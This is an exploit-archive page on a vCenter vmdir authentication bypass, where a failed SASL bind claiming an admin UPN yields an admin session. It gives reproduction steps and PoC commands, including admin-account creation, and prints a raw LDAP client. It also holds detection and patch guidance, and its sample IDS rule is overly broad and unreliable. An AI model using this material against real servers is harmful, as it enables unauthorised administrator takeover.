PoC Archive PoC Archive
CVE-2026-123903 category: network CVSS 9.8 (CRITICAL)
Unverified

VMware vCenter vmdir Authentication Bypass via Failed LDAP SASL Bind (CVE-2026-123903)

Published: 2026-11-27 • Researcher: dinosn (PoC); Broadcom / VMware (advisory)

Target software VMware vCenter Server / VMware Directory Service (vmdir)
Affected versions vCenter 8.0 U3k and earlier; 9.0.x below 9.0.2.0300; 9.1.x below 9.1.2; VMware Cloud Foundation 5.x below 5.2.5; listed Telco Cloud builds
Status PoC (read-only proof; write action gated)
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-123903
Category
network
Affected product
VMware vCenter Server / VMware Directory Service (vmdir)
Affected versions
vCenter 8.0 U3k and earlier; 9.0.x below 9.0.2.0300; 9.1.x below 9.1.2; VMware Cloud Foundation 5.x below 5.2.5; listed Telco Cloud builds
Disclosed
2026-11-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-11-24
Author / Researcherdinosn (PoC); Broadcom / VMware (advisory)
CVE / AdvisoryCVE-2026-123903
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1)
StatusPoC (read-only proof; write action gated)
Tagsauthentication-bypass, LDAP, SASL, vmdir, VMware, vCenter, unauthenticated, CWE-287
RelatedN/A

Affected Target

FieldValue
Software / SystemVMware vCenter Server / VMware Directory Service (vmdir)
Versions AffectedvCenter 8.0 U3k and earlier; 9.0.x below 9.0.2.0300; 9.1.x below 9.1.2; VMware Cloud Foundation 5.x below 5.2.5; listed Telco Cloud builds
Language / PlatformPython 3 standard library client; vmdir LDAP service on TCP 389/636
Authentication RequiredNo
Network Access RequiredYes (LDAP reachable)

Summary

CVE-2026-123903 is an authentication bypass in VMware vCenter’s vmdir directory service. A failed LDAP SASL bind that claims a directory identity resolves that identity and plants its access token, SID and normalized DN on the connection; the SASL error path tears the session down without clearing that state. The bind still returns LDAP error 49, but subsequent plaintext LDAP operations on the same connection run as the claimed identity. Claiming an administrator UPN therefore gives an unauthenticated attacker an administrator session, account creation and membership in cn=Administrators. The included PoC has a read-only prove mode and a gated, reversible create-admin mode.

Vulnerability Details

Root Cause

In _VmDirSASLBind, a SASL step failing with LDAP_INVALID_CREDENTIALS reaches an error path that calls _VmDirBindSetupAccessInfo() for the client-chosen SASL_USERNAME and leaves the resulting access token on the connection. The simple-bind failure path clears this state, which is why failed simple binds are harmless.

Attack Vector

An unauthenticated attacker sends a failed SASL bind that claims an administrator UPN (no password or key material), then uses the same connection for LDAP reads or writes. The PoC compares a baseline connection with a planted one and requires privileged signals such as visibility of cn=Administrators,cn=Builtin and readability of sensitive attributes on the administrator entry.

Impact

Full administrative access to vCenter, including account creation and addition to cn=Administrators. The PoC’s write mode is reversible (create, verify, remove, delete) and gated behind --prove-write, a TTY and two typed confirmations; the default prove mode is read-only.

Environment / Lab Setup

Output
OS:          Linux/macOS with Python 3 (standard library only)
Target:      VMware vCenter with vmdir reachable on 389 or 636
Attacker:    Python 3 client on an authorized network path
Tools:       python3, ldap/socket (stdlib)

Setup Steps

Shell script
1
2
3
4
5
6
python3 vc123903_poc.py prove --host vcenter.lab --i-have-authorization

python3 vc123903_poc.py prove --host vcenter.lab --port 636 --tls --i-have-authorization

python3 vc123903_poc.py create-admin --host vcenter.lab --account VWPOC \
  --first VW --last POC --reversible --i-have-authorization --prove-write

Proof of Concept

Step-by-Step Reproduction

  1. Open a baseline LDAP connection and record what the unauthenticated session can read.
  2. Send a SASL bind claiming an administrator UPN with invalid credentials; expect LDAP error 49.
  3. Reuse the connection for plaintext LDAP operations; prove checks for administrator-only object visibility and sensitive attribute reads.
  4. For impact, create-admin creates a temporary account, verifies membership, removes it and deletes the entry (--reversible).

Exploit Code

See vc123903_poc.py, ldap_raw.py and srp_cyrus.py.

The PoC is deliberately gated: --i-have-authorization is required for every target, and write actions additionally require --prove-write plus interactive confirmation.

Expected Output

Output
1
2
3
4
[*] baseline: administrator object not visible
[*] failed SASL bind claimed administrator UPN: resultCode 49
[*] planted connection: cn=Administrators visible, sensitive attributes readable
[+] VULNERABLE_ADMIN_SESSION

Detection & Indicators of Compromise

  • LDAP SASL bind failures (resultCode 49) followed by successful privileged LDAP operations on the same connection.
  • Unexpected account creation or additions to cn=Administrators in vmdir.
  • Reads of sensitive attributes such as vmwSRPSecret or nTSecurityDescriptor by an unauthenticated connection.
  • vmdir / vCenter authentication logs showing a claimed administrator UPN on a failed SASL bind.

SIEM / IDS rule (example):

Output
1
2
alert tcp any any -> any 389 (msg:"vCenter vmdir failed SASL bind claiming admin"; \
  content:"|30|"; depth:1; flow:to_server; sid:9002630;)

Remediation

ActionDetail
PatchUpgrade vCenter to 8.0 U3m, 9.0.2.0300, 9.1.2 or later; apply the corresponding VMware Cloud Foundation / Telco Cloud fixes.
WorkaroundRestrict LDAP/LDAPS access to vCenter to trusted management networks; do not expose vmdir broadly.
Config HardeningMonitor vmdir authentication failures and privileged account changes; review VMSA-2026-0011 guidance.

References

Notes

Reviewed from the 2026-11-27 watchlist. The repository is a careful, read-only-by-default PoC with explicit scope gating and a reversible write mode; it is not a detector or scanner. No upstream license file is present; the code is archived with attribution for authorized research only.

The PoC was not executed during preparation. The claimed identity only needs to resolve to a privileged directory entry; test only against vCenter instances you own or have written authorization to assess.

ldap_raw.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
ldap_raw.py - minimal raw-BER LDAPv3 client (no ldap3) for protocol experiments:
SASL bind one step at a time, simple bind, add, modify, search, compare, whoami,
optional TLS for LDAPS.

Conventions verified against the shipped vmdird (8.0 U3k):
  [APPLICATION n] tags are IMPLICIT - they REPLACE the SEQUENCE tag, there is
  never an inner 0x30 (BindRequest 0x60, AddRequest 0x68, ModifyRequest 0x66,
  SearchRequest 0x63, SaslCredentials [3] 0xa3).  Add/Modify still wrap their
  list of attributes / changes in a real SEQUENCE OF (0x30).
  simple credentials are [0] IMPLICIT: 0x80 <len> <password bytes>.
"""
import socket
import ssl


def L(n):
    if n < 128:
        return bytes([n])
    b = b""
    while n:
        b = bytes([n & 0xff]) + b
        n >>= 8
    return bytes([0x80 | len(b)]) + b


def E(t, c):
    return bytes([t]) + L(len(c)) + c


def octet(b):
    return E(0x04, b)


def integer(v):
    return E(0x02, v.to_bytes(max(1, (v.bit_length() + 7) // 8), "big"))


def enum(v):
    return E(0x0a, v.to_bytes(1, "big"))


def boolean(v):
    return E(0x01, b"\xff" if v else b"\x00")


def tlv(buf, off):
    """return (tag, content, next_off)"""
    t = buf[off]
    l1 = buf[off + 1]
    if l1 & 0x80:
        n = l1 & 0x7f
        ln = int.from_bytes(buf[off + 2:off + 2 + n], "big")
        cs = off + 2 + n
    else:
        ln = l1
        cs = off + 2
    return t, buf[cs:cs + ln], cs + ln


def filter_present(attr):
    return E(0x87, attr.encode())


def filter_eq(attr, value):
    return E(0xa3, E(0x30, octet(attr.encode()) + E(0x31, octet(value.encode()))))


class LdapRaw(object):
    RESULT = {0: "success", 1: "operationsError", 2: "protocolError", 4: "sizeLimitExceeded",
              7: "authMethodNotSupported", 10: "referral", 11: "adminLimitExceeded",
              14: "saslBindInProgress", 16: "noSuchAttribute", 17: "undefinedAttributeType",
              19: "constraintViolation", 20: "attributeOrValueExists", 21: "invalidAttributeSyntax",
              32: "noSuchObject", 34: "invalidDNSyntax", 35: "objectClassViolation",
              49: "invalidCredentials", 50: "insufficientAccessRights", 51: "busy",
              53: "unwillingToPerform", 64: "namingViolation", 68: "entryAlreadyExists",
              69: "objectClassModsProhibited", 71: "affectsMultipleDSAs", 80: "other"}

    def __init__(self, host, port=389, timeout=10, tls=False):
        self.sk = socket.create_connection((host, port), timeout=timeout)
        self.sk.settimeout(timeout)
        if tls:
            ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            self.sk = ctx.wrap_socket(self.sk, server_hostname=None)
        self.mid = 0

    def close(self):
        try:
            self.sk.close()
        except OSError:
            pass

    def _rx(self, n):
        d = b""
        while len(d) < n:
            x = self.sk.recv(n - len(d))
            if not x:
                raise EOFError
            d += x
        return d

    def read_msg(self):
        self._rx(1)
        l1 = self._rx(1)[0]
        if l1 & 0x80:
            n = l1 & 0x7f
            length = int.from_bytes(self._rx(n), "big")
        else:
            length = l1
        return self._rx(length)

    def send(self, op):
        self.mid += 1
        self.sk.sendall(E(0x30, integer(self.mid) + op))

    @staticmethod
    def _result(body):
        """Parse the COMPONENTS OF LDAPResult at the start of `body`.
        Returns (resultCode, matchedDN, diagnostic, offset_after)."""
        rc = None
        strs = []
        o = 0
        while o < len(body):
            t, c, n = tlv(body, o)
            if t == 0x0a and rc is None:
                rc = int.from_bytes(c, "big")
                o = n
            elif t == 0x04 and len(strs) < 2:
                strs.append(c)                  # matchedDN, then diagnosticMessage
                o = n
            else:
                break                           # first element after LDAPResult: leave it for the caller
        return rc, (strs[0] if strs else b""), (strs[1] if len(strs) > 1 else b""), o

    def _parse_referral(self, c, expect):
        """c = LDAPMessage content. Returns (resultCode, diag, extra_by_tag)."""
        _, _, off = tlv(c, 0)
        t, body, _ = tlv(c, off)
        if t != expect:
            raise ValueError("expected op tag 0x%02x, got 0x%02x" % (expect, t))
        rc, _m, diag, o = self._result(body)
        extra = {}
        while o < len(body):
            tt, cc, o = tlv(body, o)
            extra[tt] = cc
        return rc, diag.decode("utf-8", "replace"), extra

    # ---- bind -------------------------------------------------------------
    def sasl_bind(self, mech, creds=None):
        """One SASL bind step. creds=None omits the credentials field."""
        inner = octet(mech) + (octet(creds) if creds is not None else b"")
        self.send(E(0x60, integer(3) + octet(b"") + E(0xa3, inner)))
        rc, diag, extra = self._parse_referral(self.read_msg(), 0x61)
        return rc, diag, extra.get(0x87)          # serverSaslCreds [7]

    def simple_bind(self, dn, password):
        self.send(E(0x60, integer(3) + octet(dn.encode()) + E(0x80, password.encode())))
        rc, diag, _ = self._parse_referral(self.read_msg(), 0x61)
        return rc, diag

    def unbind(self):
        try:
            self.send(E(0x42, b""))
        except OSError:
            pass
        self.close()

    # ---- write ------------------------------------------------------------
    def add(self, dn, attrs):
        av = b"".join(E(0x30, octet(k.encode()) +
                        E(0x31, b"".join(octet(v.encode()) for v in vs)))
                      for k, vs in attrs)
        self.send(E(0x68, octet(dn.encode()) + E(0x30, av)))
        rc, diag, _ = self._parse_referral(self.read_msg(), 0x69)
        return rc, diag

    def modify_add(self, dn, attr, val):
        change = E(0x30, enum(0) + E(0x30, octet(attr.encode()) + E(0x31, octet(val.encode()))))
        self.send(E(0x66, octet(dn.encode()) + E(0x30, change)))
        rc, diag, _ = self._parse_referral(self.read_msg(), 0x67)
        return rc, diag

    def delete(self, dn):
        # DelRequest ::= [APPLICATION 10] LDAPDN  -- IMPLICIT: 0x4a replaces the OCTET STRING tag
        self.send(E(0x4a, dn.encode()))
        rc, diag, _ = self._parse_referral(self.read_msg(), 0x6b)   # DeleteResponse [APPLICATION 11]
        return rc, diag

    def modify_del(self, dn, attr, val):
        change = E(0x30, enum(1) + E(0x30, octet(attr.encode()) + E(0x31, octet(val.encode()))))
        self.send(E(0x66, octet(dn.encode()) + E(0x30, change)))
        rc, diag, _ = self._parse_referral(self.read_msg(), 0x67)
        return rc, diag

    # ---- read -------------------------------------------------------------
    def search_sub(self, base, filt, scope=2, attrs=()):
        """Returns (entries, resultCode); entries = [(dn, {attr: [values]})]."""
        sel = b"".join(octet(a.encode()) for a in attrs)
        req = E(0x63, octet(base.encode()) + enum(scope) + enum(0) + integer(0) +
                integer(0) + boolean(False) + filt + E(0x30, sel))
        self.send(req)
        entries = []
        while True:
            c = self.read_msg()
            _, _, off = tlv(c, 0)
            t, body, _ = tlv(c, off)
            if t == 0x64:                          # SearchResultEntry
                o = 0
                _, dn, o = tlv(body, o)
                _, attrs_seq, o = tlv(body, o)
                d = {}
                ao = 0
                while ao < len(attrs_seq):
                    _, a, ao = tlv(attrs_seq, ao)
                    _, atype, x = tlv(a, 0)
                    _, vals, _ = tlv(a, x)
                    vo = 0
                    vv = []
                    while vo < len(vals):
                        _, v, vo = tlv(vals, vo)
                        vv.append(v.decode("utf-8", "replace"))
                    d[atype.decode()] = vv
                entries.append((dn.decode("utf-8", "replace"), d))
            elif t == 0x65:                        # SearchResultDone
                rc, _m, _d, _ = self._result(body)
                return entries, rc

    def compare(self, dn, attr, value):
        self.send(E(0x6e, octet(dn.encode()) + E(0x30, octet(attr.encode()) + octet(value.encode()))))
        c = self.read_msg()
        _, _, off = tlv(c, 0)
        t, body, _ = tlv(c, off)
        rc, _m, _d, _ = self._result(body)
        return t, rc        # t: 0x6f CompareTrue, 0x70 CompareFalse

    def whoami(self):
        """RFC 4532. Returns (resultCode, authzId or None)."""
        oid = bytes.fromhex("060a2b06010401b373030414")   # 2.16.840.1.113730.3.4.20
        self.send(E(0x77, octet(oid)))
        c = self.read_msg()
        _, _, off = tlv(c, 0)
        t, body, _ = tlv(c, off)
        rc, _m, diag, o = self._result(body)
        val = None
        while o < len(body):
            tt, cc, o = tlv(body, o)
            if tt == 0x8b:
                val = cc
        return rc, (val.decode("utf-8", "replace") if val is not None else None), diag.decode("utf-8", "replace")